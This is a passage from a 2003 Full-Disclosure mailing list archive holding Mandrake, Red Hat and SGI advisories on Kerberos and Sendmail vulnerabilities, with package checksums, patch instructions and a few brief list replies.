http://www.mandrakesecure.net/en/mlist.php If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.7 (GNU/Linux) mQGiBDlp594RBAC2tDozI3ZgQsE7XwxurJCJrX0L5vx7SDByR5GHDdWekGhdiday L4nfUax+SeR9SCoCgTgPW1xB8vtQc8/sinJlMjp9197a2iKM0FOcPlkpa3HcOdt7 WKJqQhlMrHvRcsivzcgqjH44GBBJIT6sygUF8k0lU6YnMHj5MPc/NGWt8wCg9vKo P0l5QVAFSsHtqcU9W8cc7wMEAJzQsAlnvPXDBfBLEH6u7ptWFdp0GvbSuG2wRaPl hynHvRiE01ZvwbJZXsPsKm1z7uVoW+NknKLunWKB5axrNXDHxCYJBzY3jTeFjsqx PFZkIEAQphLTkeXXelAjQ5u9tEshPswEtMvJvUgNiAfbzHfPYmq8D6x5xOw1IySg 2e/LBACxr2UJYCCB2BZ3p508mAB0RpuLGukq+7UWiOizy+kSskIBg2O7sQkVY/Cs iyGEo4XvXqZFMY39RBdfm2GY+WB/5NFiTOYJRKjfprP6K1YbtsmctsX8dG+foKsD LLFs7OuVfaydLQYp1iiN6D+LJDSMPM8/LCWzZsgr9EKJ8NXiyrQ6TGludXggTWFu ZHJha2UgU2VjdXJpdHkgVGVhbSA8c2VjdXJpdHlAbGludXgtbWFuZHJha2UuY29t PohWBBMRAgAWBQI5aefeBAsKBAMDFQMCAxYCAQIXgAAKCRCaqNDQIkWKmK6LAKCy /NInDsaMSI+WHwrquwC5PZrcnQCeI+v3gUDsNfQfiKBvQSANu1hdulqIRgQQEQIA BgUCOtNVGQAKCRBZ5w3um0pAJJWQAKDUoL5He+mKbfrMaTuyU5lmRyJ0fwCgoFAP WdvQlu/kFjphF740XeOwtOqIRgQQEQIABgUCOu8A6QAKCRBynDnb9lq3CnpjAJ4w Pk0SEE9U4r40IxWpwLU+wrWVugCdFfSPllPpZRCiaC7HwbFcfExRmPaIRgQQEQIA BgUCPI+UAwAKCRDniYrgcHcf8xK5AKCm/Mq8qP8GE0o1hEX22QsJMZwH5gCfZ72H 8TacOb3oAmBdprf+K6gkdOiIRgQQEQIABgUCOtOieAAKCRCv2bZyU0yB80MeAJ9K +jXt0cKuaUonRU+CRGetk6t9dgCfTRRL6/puOKdD6md70+K5EBBSvsG0OE1hbmRy YWtlIExpbnV4IFNlY3VyaXR5IFRlYW0gPHNlY3VyaXR5QG1hbmRyYWtlc29mdC5j b20+iFcEExECABcFAjyPnuUFCwcKAwQDFQMCAxYCAQIXgAAKCRCaqNDQIkWKmFi+ AJsHhohgnU3ik4+gy3EdFlB2i/MBoACg6lHn5cnVvTcmgNccWxeNxLLZI5e5AQ0E OWnn7xAEAOQlTVY4TiNo5V/iP0J1xnqjqlqZsU7yEBKo/gZz6/+hx75RURe1ebiJ 9F779FQbpJ9Epz1KLSXvq974rnVb813zuGdmgFyk+ryA/rTR2RQ8h+EoNkwmATzR xBXVJb57fFQjxOu4eNjZAtfII/YXb0uyXXrdr5dlJ/3eXrcO4p0XAAMFBACCxo6Z 269s+A4v8C6Ui12aarOQcCDlV8cVG9LkyatU3FNTlnasqwo6EkaP572448weJWwN 6SCXVl+xOYLiK0hL/6Jb/O9Agw75yUVdk+RMM2I4fNEi+y4hmfMh2siBv8yEkEvZ jTcl3TpkTfzYky85tu433wmKaLFOv0WjBFSikohGBBgRAgAGBQI5aefvAAoJEJqo 0NAiRYqYid0AoJgeWzXrEdIClBOSW5Q6FzqJJyaqAKC0Y9YI3UFlE4zSIGjcFlLJ EJGXlA== =yGlX - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE+icjlmqjQ0CJFipgRAhvOAKD0YyhauKQ+MePDxrjJ+okBZUDPhwCeLCKk DJsxRgKQ/op/VN5A9JdXlW4= =yfqK -----END PGP SIGNATURE----- From security at linux-mandrake.com Tue Apr 1 18:16:20 2003 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: 1 Apr 2003 17:16:20 -0000 Subject: [Full-Disclosure] MDKSA-2003:043 - Updated krb5 packages fix multiple vulnerabilities Message-ID: <20030401171620.4400.qmail@updates.mandrakesoft.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ________________________________________________________________________ Mandrake Linux Security Update Advisory ________________________________________________________________________ Package name: krb5 Advisory ID: MDKSA-2003:043 Date: April 1st, 2003 Affected versions: 8.2, 9.0, 9.1, Corporate Server 2.1, Multi Network Firewall 8.2 ________________________________________________________________________ Problem Description: Multiple vulnerabilties have been found in the Kerberos network authentication system. The MIT Kerberos team have released an advisory detailing these vulnerabilties, a description of which follows. An integer signedness error in the ASN.1 decoder before version 1.2.5 allows remote attackers to cause a crash of the server via a large unsigned data element length, which is later used as a negative value (CAN-2002-0036). Mandrake Linux 9.0+ is not affected by this problem. Vulnerabilties have been found in the RPC library used by the kadmin service. A faulty length check in the RPC library exposes kadmind to an integer overflow which can be used to crash kadmind (CAN-2003-0028). The KDC (Key Distribution Center) before version 1.2.5 allows remote, authenticated attackers to cause a crash on KDCs within the same realm using a certain protocol that causes a null dereference (CAN-2003-0058). Mandrake Linux 9.0+ is not affected by this problem. Users from one realm can impersonate users in other realms that have the same inter-realm keys due to a vulnerability in Kerberos 1.2.3 and earlier (CAN-2003-0059). Mandrake Linux 9.0+ is not affected by this problem. The KDC allows remote, authenticated users to cause a crash on KDCs within the same realm using a certain protocol request that causes an out-of-bounds read of an array (CAN-2003-0072). The KDC allows remote, authenticated users to cause a crash on KDCs within the same realm using a certain protocol request that causes the KDC to corrupt its heap (CAN-2003-0082). Vulnerabilities have been discovered in the Kerberos IV authentication protocol which allow an attacker with knowledge of a cross-realm key, which is shared in another realm, to impersonate a principle in that realm to any service in that realm. This vulnerability can only be closed by disabling cross-realm authentication in Kerberos IV (CAN-2003-0138). Vulnerabilities have been discovered in the support for triple-DES keys in the Kerberos IV authentication protocol which is included in MIT Kerberos (CAN-2003-0139). MandrakeSoft encourages all users to upgrade to these updated packages immediately which contain patches to correct all of the previously noted vulnerabilities. These packages also disable Kerberos IV cross-realm authentication by default. ________________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0036 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0028 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0058 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0059 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0072 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0082 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0138 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0139 http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2003-001-multiple.txt http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2003-003-xdr.txt http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2003-004-krb4.txt http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2003-005-buf.txt ________________________________________________________________________ Updated Packages: Corporate Server 2.1: ff044a2e3b1fa2c6b6a3f8567700bacc corporate/2.1/RPMS/ftp-client-krb5-1.2.5-1.4mdk.i586.rpm c9b9190ecdcb4afc7d235a4d14acccfb corporate/2.1/RPMS/ftp-server-krb5-1.2.5-1.4mdk.i586.rpm 32ba407c1aef46b95cd9132fb7bc60a8 corporate/2.1/RPMS/krb5-devel-1.2.5-1.4mdk.i586.rpm 2a32898602de8551967c38414884e91c corporate/2.1/RPMS/krb5-libs-1.2.5-1.4mdk.i586.rpm b09f0544b8a685ec351ba0cbd18ed8aa corporate/2.1/RPMS/krb5-server-1.2.5-1.4mdk.i586.rpm bd412c5533f4fbcd216c96693122d798 corporate/2.1/RPMS/krb5-workstation-1.2.5-1.4mdk.i586.rpm eaf68d6ef678c4400cbdec38493f6a32 corporate/2.1/RPMS/telnet-client-krb5-1.2.5-1.4mdk.i586.rpm e9ffe51915f095ed19ff83b95a16be7f corporate/2.1/RPMS/telnet-server-krb5-1.2.5-1.4mdk.i586.rpm 78ea5596dfae26c7eeabcc25363850eb corporate/2.1/SRPMS/krb5-1.2.5-1.4mdk.src.rpm Mandrake Linux 8.2: 819b0b7829b0ab6f0ffa03981bcb113b 8.2/RPMS/ftp-client-krb5-1.2.2-17.5mdk.i586.rpm 78238c5be9024658c709b660a27d86b1 8.2/RPMS/ftp-server-krb5-1.2.2-17.5mdk.i586.rpm 7484f3fffb575234257fecd38ab399b6 8.2/RPMS/krb5-devel-1.2.2-17.5mdk.i586.rpm 05f945beb43d5d7eef33513714bed38b 8.2/RPMS/krb5-libs-1.2.2-17.5mdk.i586.rpm 7989b492dc7282ccc1b4ea07461f81d5 8.2/RPMS/krb5-server-1.2.2-17.5mdk.i586.rpm 87e3129f28b44deee2afb579fc1aba44 8.2/RPMS/krb5-workstation-1.2.2-17.5mdk.i586.rpm d577b4d921592ce650aa6143ddeecbcd 8.2/RPMS/telnet-client-krb5-1.2.2-17.5mdk.i586.rpm 2c27ad5354c7d46ef423d69472e38fc6 8.2/RPMS/telnet-server-krb5-1.2.2-17.5mdk.i586.rpm d461701e513378feb8656c89653b29c2 8.2/SRPMS/krb5-1.2.2-17.5mdk.src.rpm Mandrake Linux 8.2/PPC: 0c5028a103cecd754a6f506964bf4448 ppc/8.2/RPMS/ftp-client-krb5-1.2.2-17.5mdk.ppc.rpm c68e111876b2320f24c1c22e8e6df1b1 ppc/8.2/RPMS/ftp-server-krb5-1.2.2-17.5mdk.ppc.rpm fdffb190e2faacee2cf550c09d2aeabd ppc/8.2/RPMS/krb5-devel-1.2.2-17.5mdk.ppc.rpm d77d17bdfad6f0ee3e253ff55daeec91 ppc/8.2/RPMS/krb5-libs-1.2.2-17.5mdk.ppc.rpm 80a5e1fc2221a7ede39385da2defdad9 ppc/8.2/RPMS/krb5-server-1.2.2-17.5mdk.ppc.rpm 66adac55615ce0254222a1ea38847c69 ppc/8.2/RPMS/krb5-workstation-1.2.2-17.5mdk.ppc.rpm 809a854ca25dff7a3b8e29589b7bc7ea ppc/8.2/RPMS/telnet-client-krb5-1.2.2-17.5mdk.ppc.rpm 4179fe8cd8b7a5f00cfad87bd07f341e ppc/8.2/RPMS/telnet-server-krb5-1.2.2-17.5mdk.ppc.rpm d461701e513378feb8656c89653b29c2 ppc/8.2/SRPMS/krb5-1.2.2-17.5mdk.src.rpm Mandrake Linux 9.0: ff044a2e3b1fa2c6b6a3f8567700bacc 9.0/RPMS/ftp-client-krb5-1.2.5-1.4mdk.i586.rpm c9b9190ecdcb4afc7d235a4d14acccfb 9.0/RPMS/ftp-server-krb5-1.2.5-1.4mdk.i586.rpm 32ba407c1aef46b95cd9132fb7bc60a8 9.0/RPMS/krb5-devel-1.2.5-1.4mdk.i586.rpm 2a32898602de8551967c38414884e91c 9.0/RPMS/krb5-libs-1.2.5-1.4mdk.i586.rpm b09f0544b8a685ec351ba0cbd18ed8aa 9.0/RPMS/krb5-server-1.2.5-1.4mdk.i586.rpm bd412c5533f4fbcd216c96693122d798 9.0/RPMS/krb5-workstation-1.2.5-1.4mdk.i586.rpm eaf68d6ef678c4400cbdec38493f6a32 9.0/RPMS/telnet-client-krb5-1.2.5-1.4mdk.i586.rpm e9ffe51915f095ed19ff83b95a16be7f 9.0/RPMS/telnet-server-krb5-1.2.5-1.4mdk.i586.rpm 78ea5596dfae26c7eeabcc25363850eb 9.0/SRPMS/krb5-1.2.5-1.4mdk.src.rpm Mandrake Linux 9.1: b5888bcb397105c47541289de9ab123e 9.1/RPMS/ftp-client-krb5-1.2.7-1.1mdk.i586.rpm eb5560bd11eeb6648528181ad08e7f48 9.1/RPMS/ftp-server-krb5-1.2.7-1.1mdk.i586.rpm 5bc475f74920c7a06af22dee2ef7cc9d 9.1/RPMS/krb5-devel-1.2.7-1.1mdk.i586.rpm 1169c020d1f61107955067cf4f1830fc 9.1/RPMS/krb5-libs-1.2.7-1.1mdk.i586.rpm 24e6126c8fc8830b3855bb6880c347f8 9.1/RPMS/krb5-server-1.2.7-1.1mdk.i586.rpm 16d43cf77c24e26bc9f05c2cbfc2ba46 9.1/RPMS/krb5-workstation-1.2.7-1.1mdk.i586.rpm 823c27610e62c7b57c4dac0bb25a1f31 9.1/RPMS/telnet-client-krb5-1.2.7-1.1mdk.i586.rpm cfba29048f25817c4bd296def06f3bf2 9.1/RPMS/telnet-server-krb5-1.2.7-1.1mdk.i586.rpm 3767fc890e9bb238de9e86a4a954e51f 9.1/SRPMS/krb5-1.2.7-1.1mdk.src.rpm Mandrake Linux 9.1/PPC: ff2ee32a87f4eb4d5d71fc141e07a653 ppc/9.1/RPMS/ftp-client-krb5-1.2.7-1.1mdk.ppc.rpm d440d74811fbb8b639ed2beef6cb6183 ppc/9.1/RPMS/ftp-server-krb5-1.2.7-1.1mdk.ppc.rpm ed860ab1279b3905e7a7b1f7bcd16cd3 ppc/9.1/RPMS/krb5-devel-1.2.7-1.1mdk.ppc.rpm 874113d397b64692cb5da3dac077b050 ppc/9.1/RPMS/krb5-libs-1.2.7-1.1mdk.ppc.rpm e04607def631281fdd5adccf14957fff ppc/9.1/RPMS/krb5-server-1.2.7-1.1mdk.ppc.rpm d4125d6cd39eddd59e154669ac1d9cbc ppc/9.1/RPMS/krb5-workstation-1.2.7-1.1mdk.ppc.rpm 5084b151cdbd8f9214c886c7a95f3e39 ppc/9.1/RPMS/telnet-client-krb5-1.2.7-1.1mdk.ppc.rpm 583b9695b76165a1d512de40cecc8e5c ppc/9.1/RPMS/telnet-server-krb5-1.2.7-1.1mdk.ppc.rpm 3767fc890e9bb238de9e86a4a954e51f ppc/9.1/SRPMS/krb5-1.2.7-1.1mdk.src.rpm Multi Network Firewall 8.2: 05f945beb43d5d7eef33513714bed38b mnf8.2/RPMS/krb5-libs-1.2.2-17.5mdk.i586.rpm d461701e513378feb8656c89653b29c2 mnf8.2/SRPMS/krb5-1.2.2-17.5mdk.src.rpm ________________________________________________________________________ Bug IDs fixed (see https://qa.mandrakesoft.com for more information): ________________________________________________________________________ To upgrade automatically, use MandrakeUpdate. The verification of md5 checksums and GPG signatures is performed automatically for you. If you want to upgrade manually, download the updated package from one of our FTP server mirrors and upgrade with "rpm -Fvh *.rpm". A list of FTP mirrors can be obtained from: http://www.mandrakesecure.net/en/ftp.php Please verify the update prior to upgrading to ensure the integrity of the downloaded package. You can do this with the command: rpm --checksig All packages are signed by MandrakeSoft for security. You can obtain the GPG public key of the Mandrake Linux Security Team from: https://www.mandrakesecure.net/RPM-GPG-KEYS Please be aware that sometimes it takes the mirrors a few hours to update. You can view other update advisories for Mandrake Linux at: http://www.mandrakesecure.net/en/advisories/ MandrakeSoft has several security-related mailing list services that anyone can subscribe to. Information on these lists can be obtained by visiting: http://www.mandrakesecure.net/en/mlist.php If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.7 (GNU/Linux) mQGiBDlp594RBAC2tDozI3ZgQsE7XwxurJCJrX0L5vx7SDByR5GHDdWekGhdiday L4nfUax+SeR9SCoCgTgPW1xB8vtQc8/sinJlMjp9197a2iKM0FOcPlkpa3HcOdt7 WKJqQhlMrHvRcsivzcgqjH44GBBJIT6sygUF8k0lU6YnMHj5MPc/NGWt8wCg9vKo P0l5QVAFSsHtqcU9W8cc7wMEAJzQsAlnvPXDBfBLEH6u7ptWFdp0GvbSuG2wRaPl hynHvRiE01ZvwbJZXsPsKm1z7uVoW+NknKLunWKB5axrNXDHxCYJBzY3jTeFjsqx PFZkIEAQphLTkeXXelAjQ5u9tEshPswEtMvJvUgNiAfbzHfPYmq8D6x5xOw1IySg 2e/LBACxr2UJYCCB2BZ3p508mAB0RpuLGukq+7UWiOizy+kSskIBg2O7sQkVY/Cs iyGEo4XvXqZFMY39RBdfm2GY+WB/5NFiTOYJRKjfprP6K1YbtsmctsX8dG+foKsD LLFs7OuVfaydLQYp1iiN6D+LJDSMPM8/LCWzZsgr9EKJ8NXiyrQ6TGludXggTWFu ZHJha2UgU2VjdXJpdHkgVGVhbSA8c2VjdXJpdHlAbGludXgtbWFuZHJha2UuY29t PohWBBMRAgAWBQI5aefeBAsKBAMDFQMCAxYCAQIXgAAKCRCaqNDQIkWKmK6LAKCy /NInDsaMSI+WHwrquwC5PZrcnQCeI+v3gUDsNfQfiKBvQSANu1hdulqIRgQQEQIA BgUCOtNVGQAKCRBZ5w3um0pAJJWQAKDUoL5He+mKbfrMaTuyU5lmRyJ0fwCgoFAP WdvQlu/kFjphF740XeOwtOqIRgQQEQIABgUCOu8A6QAKCRBynDnb9lq3CnpjAJ4w Pk0SEE9U4r40IxWpwLU+wrWVugCdFfSPllPpZRCiaC7HwbFcfExRmPaIRgQQEQIA BgUCPI+UAwAKCRDniYrgcHcf8xK5AKCm/Mq8qP8GE0o1hEX22QsJMZwH5gCfZ72H 8TacOb3oAmBdprf+K6gkdOiIRgQQEQIABgUCOtOieAAKCRCv2bZyU0yB80MeAJ9K +jXt0cKuaUonRU+CRGetk6t9dgCfTRRL6/puOKdD6md70+K5EBBSvsG0OE1hbmRy YWtlIExpbnV4IFNlY3VyaXR5IFRlYW0gPHNlY3VyaXR5QG1hbmRyYWtlc29mdC5j b20+iFcEExECABcFAjyPnuUFCwcKAwQDFQMCAxYCAQIXgAAKCRCaqNDQIkWKmFi+ AJsHhohgnU3ik4+gy3EdFlB2i/MBoACg6lHn5cnVvTcmgNccWxeNxLLZI5e5AQ0E OWnn7xAEAOQlTVY4TiNo5V/iP0J1xnqjqlqZsU7yEBKo/gZz6/+hx75RURe1ebiJ 9F779FQbpJ9Epz1KLSXvq974rnVb813zuGdmgFyk+ryA/rTR2RQ8h+EoNkwmATzR xBXVJb57fFQjxOu4eNjZAtfII/YXb0uyXXrdr5dlJ/3eXrcO4p0XAAMFBACCxo6Z 269s+A4v8C6Ui12aarOQcCDlV8cVG9LkyatU3FNTlnasqwo6EkaP572448weJWwN 6SCXVl+xOYLiK0hL/6Jb/O9Agw75yUVdk+RMM2I4fNEi+y4hmfMh2siBv8yEkEvZ jTcl3TpkTfzYky85tu433wmKaLFOv0WjBFSikohGBBgRAgAGBQI5aefvAAoJEJqo 0NAiRYqYid0AoJgeWzXrEdIClBOSW5Q6FzqJJyaqAKC0Y9YI3UFlE4zSIGjcFlLJ EJGXlA== =yGlX - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE+iclkmqjQ0CJFipgRAn7TAJwIkDPr53DXaj57LK9Rk1fI6nKxYQCgieWk /g5XZn2Md6siiuKt+zUU8ME= =JNZ9 -----END PGP SIGNATURE----- From madsaxon at direcway.com Tue Apr 1 19:04:19 2003 From: madsaxon at direcway.com (madsaxon) Date: Tue, 01 Apr 2003 12:04:19 -0600 Subject: [Full-Disclosure] grsecurity: Another one bites the dust... In-Reply-To: Message-ID: <5.0.0.25.2.20030401120204.049398c0@mail.direcway.com> At 09:06 AM 4/1/03 -0500, Glenn_Everhart at bankone.com wrote: >Anybody know what the patent claims are? In case anyone hasn't yet figured this out, it's April 1, folks. Don't take any announcements you read today seriously until you've checked them out thoroughly. For example, http://www.grsecurity.net/news.php ;-) M5x From dotslash at snosoft.com Tue Apr 1 13:49:41 2003 From: dotslash at snosoft.com (KF) Date: Tue, 01 Apr 2003 07:49:41 -0500 Subject: [Full-Disclosure] SRT2003-04-01-1231 - Progress DLC overflows Message-ID: <3E898AE5.6090304@snosoft.com> This data will be available at http://www.secnetops.biz/research/ shortly. For further information regarding Proof of Concept code please contact us at contact at secnetops.biz . -KF -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: SRT2003-04-01-1231.txt Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030401/4394f28b/attachment.txt From rgerhards at hq.adiscon.com Tue Apr 1 19:50:29 2003 From: rgerhards at hq.adiscon.com (Rainer Gerhards) Date: Tue, 1 Apr 2003 20:50:29 +0200 Subject: [Full-Disclosure] grsecurity: Another one bites the dust... Message-ID: <28915501A44DBA4587FE1019D675F9830932F4@grfint.intern.adiscon.com> > >Anybody know what the patent claims are? > > In case anyone hasn't yet figured this out, it's April 1, > folks. Don't take any announcements you read today seriously > until you've checked them out thoroughly. Yeah... But I think the interesting point is that *today* news like this are more or less expected and don't immediately trigger "April, 1st code" ;) Isn't that a good warning sign.... Back to the real work... Rainer From earl_keyser at wayzata.k12.mn.us Tue Apr 1 20:38:06 2003 From: earl_keyser at wayzata.k12.mn.us (Earl Keyser) Date: 01 Apr 03 13:38:06 -0600 Subject: [Full-Disclosure] Solaris hack Message-ID: <20030401133162.SM00223@206.131.27.9> Reply to: Solaris hack 4/1/03 Can anyone point me to info about an exploit to Solaris re: SRLOAD? TIA This message has been scanned for viruses. ISD#284 From bugzilla at redhat.com Wed Apr 2 10:57:00 2003 From: bugzilla at redhat.com (bugzilla at redhat.com) Date: Wed, 2 Apr 2003 04:57 -0500 Subject: [Full-Disclosure] [RHSA-2003:091-01] Updated kerberos packages fix various vulnerabilities Message-ID: <200304020957.h329vrs01020@porkchop.devel.redhat.com> --------------------------------------------------------------------- Red Hat Security Advisory Synopsis: Updated kerberos packages fix various vulnerabilities Advisory ID: RHSA-2003:091-01 Issue date: 2003-04-02 Updated on: 2003-04-02 Product: Red Hat Linux Keywords: krb5 Cross references: RHSA-2003:051 RHSA-2003:052 Obsoletes: RHSA-2003:021 CVE Names: CAN-2003-0028 CAN-2003-082 CAN-2003-0138 CAN-2003-0139 --------------------------------------------------------------------- 1. Topic: Updated Kerberos packages for Red Hat Linux 9 fix a number of vulnerabilities found in MIT Kerberos. 2. Relevant releases/architectures: Red Hat Linux 9 - i386 3. Problem description: Kerberos is a network authentication system. The MIT Kerberos team released an advisory describing a number of vulnerabilities that affect the kerberos packages shipped as part of Red Hat Linux 9. These issues include: Vulnerabilities have been found in the triple-DES key support found in the implementation of the Kerberos IV authentication protocol included in MIT Kerberos. The Common Vulnerabilities and Exposures project has assigned the name CAN-2003-0139 to this issue. Vulnerabilities have been found in the Kerberos IV authentication protocol which allow an attacker with knowledge of a cross-realm key, which is shared with another realm, to impersonate any principal in that realm to any service in that realm. This vulnerability can only be closed by disabling cross-realm authentication in Kerberos IV (CAN-2003-0138). Vulnerabilities have been found in the RPC library used by the kadmin service in Kerberos 5. A faulty length check in the RPC library exposes kadmind to an integer overflow which can be used to crash kadmind (CAN-2003-0028). The Key Distribution Center (KDC) allows remote, authenticated attackers to cause a denial of service (crash) on KDCs within the same realm via a certain protocol request that causes the KDC to corrupt its heap (CAN-2003-0082). All users of Kerberos are advised to upgrade to these errata packages, which disable cross-realm authentication by default for Kerberos IV and which contain patches that correct these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. RPMs required: Red Hat Linux 9: SRPMS: ftp://updates.redhat.com/9/en/os/SRPMS/krb5-1.2.7-14.src.rpm i386: ftp://updates.redhat.com/9/en/os/i386/krb5-devel-1.2.7-14.i386.rpm ftp://updates.redhat.com/9/en/os/i386/krb5-libs-1.2.7-14.i386.rpm ftp://updates.redhat.com/9/en/os/i386/krb5-server-1.2.7-14.i386.rpm ftp://updates.redhat.com/9/en/os/i386/krb5-workstation-1.2.7-14.i386.rpm 6. Verification: MD5 sum Package Name -------------------------------------------------------------------------- a8520da58b790a356d0a94ae75f7957b 9/en/os/SRPMS/krb5-1.2.7-14.src.rpm 49e7783cb50c3694411b7856d098eff5 9/en/os/i386/krb5-devel-1.2.7-14.i386.rpm 6cb5040d3a4bd21a801e8c1e5da6388d 9/en/os/i386/krb5-libs-1.2.7-14.i386.rpm 8eb2a755c2fdf52b779960ec66cc6783 9/en/os/i386/krb5-server-1.2.7-14.i386.rpm bbcde88fa4f273c7c45a927dc5b40d58 9/en/os/i386/krb5-workstation-1.2.7-14.i386.rpm These packages are GPG signed by Red Hat for security. Our key is available at http://www.redhat.com/solutions/security/news/publickey/ You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: md5sum 7. References: http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2003-005-buf.txt http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2003-004-krb4.txt http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2003-003-xdr.txt http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0028 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-082 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0138 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0139 8. Contact: The Red Hat security contact is . More contact details at http://www.redhat.com/solutions/security/news/contact/ Copyright 2003 Red Hat, Inc. From debian-security-announce at lists.debian.org Wed Apr 2 16:10:56 2003 From: debian-security-announce at lists.debian.org (debian-security-announce at lists.debian.org) Date: Wed, 2 Apr 2003 17:10:56 +0200 (CEST) Subject: [Full-Disclosure] [SECURITY] [DSA 275-1] New lpr-ppd packages fix local root exploit Message-ID: An embedded and charset-unspecified text was scrubbed... Name: not available Url: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20030402/96afbd60/attachment.ksh From agent99 at sgi.com Wed Apr 2 22:36:56 2003 From: agent99 at sgi.com (SGI Security Coordinator) Date: Wed, 2 Apr 2003 13:36:56 -0800 Subject: [Full-Disclosure] Sendmail parseaddr security vulnerability on IRIX Message-ID: -----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SGI Security Advisory Title : Sendmail parseaddr security vulnerability Number : 20030401-01-P Date : April 2, 2003 Reference: CERT CA-2003-12 Reference: CERT VU#897604 Reference: CVE CAN-2003-0161 Reference: SGI BUG 886104 Fixed in : IRIX 6.5.20 or patches 5045 and 5046 ______________________________________________________________________________ - ----------------------- - --- Issue Specifics --- - ----------------------- It's been reported that there is a vulnerability in Sendmail versions 8.12.8 and prior. The address parser performs insufficient bounds checking in certain conditions due to a char to int conversion, making it possible for an attacker to take control of the application. This vulnerability may be exploited by a remote attacker, no local account is required. It may be possible to gain root access through this vulnerability. See the following: http://lists.netsys.com/pipermail/full-disclosure/2003-March/008973.html http://www.cert.org/advisories/CA-2003-12.html http://www.sendmail.org/8.12.9.html http://www.kb.cert.org/vuls/id/897604 for additional information. SGI has investigated the issue and recommends the following steps for neutralizing the exposure. It is HIGHLY RECOMMENDED that these measures be implemented on ALL vulnerable SGI systems. These issues have been corrected with patches and in future releases of IRIX. - -------------- - --- Impact --- - -------------- The sendmail binary is installed by default on IRIX 6.5 systems as part of eoe.sw.base. To determine the version of IRIX you are running, execute the following command: # /bin/uname -R That will return a result similar to the following: # 6.5 6.5.19f The first number ("6.5") is the release name, the second ("6.5.16f" in this case) is the extended release name. The extended release name is the "version" we refer to throughout this document. - ---------------------------- - --- Temporary Workaround --- - ---------------------------- At this time, there is no effective workaround (other than disabling sendmail) for these problems. SGI recommends either upgrading to IRIX 6.5.20, or installing the appropriate patch from the listing below. - ---------------- - --- Solution --- - ---------------- SGI has provided a series of patches for these vulnerabilities. Our recommendation is to upgrade to IRIX 6.5.20 when available, or install the appropriate patch. OS Version Vulnerable? Patch # Other Actions ---------- ----------- ------- ------------- IRIX 3.x unknown Note 1 IRIX 4.x unknown Note 1 IRIX 5.x unknown Note 1 IRIX 6.0.x unknown Note 1 IRIX 6.1 unknown Note 1 IRIX 6.2 unknown Note 1 IRIX 6.3 unknown Note 1 IRIX 6.4 unknown Note 1 IRIX 6.5 yes Notes 2 & 3 IRIX 6.5.1 yes Notes 2 & 3 IRIX 6.5.2 yes Notes 2 & 3 IRIX 6.5.3 yes Notes 2 & 3 IRIX 6.5.4 yes Notes 2 & 3 IRIX 6.5.5 yes Notes 2 & 3 IRIX 6.5.6 yes Notes 2 & 3 IRIX 6.5.7 yes Notes 2 & 3 IRIX 6.5.8 yes Notes 2 & 3 IRIX 6.5.9 yes Notes 2 & 3 IRIX 6.5.10 yes Notes 2 & 3 IRIX 6.5.11 yes Notes 2 & 3 IRIX 6.5.12 yes Notes 2 & 3 IRIX 6.5.13 yes Notes 2 & 3 IRIX 6.5.14 yes Notes 2 & 3 IRIX 6.5.15 yes 5045 Notes 2, 4, 5, and 7 IRIX 6.5.16 yes 5045 Notes 2, 4, 5, and 7 IRIX 6.5.17 yes 5045 Notes 2, 4, 5, and 7 IRIX 6.5.18 yes 5045 Notes 2, 4, 5, and 7 IRIX 6.5.19 yes 5046 Notes 2, and 4-7 IRIX 6.5.20 no NOTES 1) This version of the IRIX operating has been retired. Upgrade to an actively supported IRIX operating system. See http://support.sgi.com/ for more information. 2) If you have not received an IRIX 6.5.X CD for IRIX 6.5, contact your SGI Support Provider or URL: http://support.sgi.com/ 3) Upgrade to IRIX 6.5.20 4) Install the patch. Note that the patches don't actually upgrade the version # of sendmail, but do contain the fixes. 5) This patch also fixes the smrsh issue discussed in SGI Security 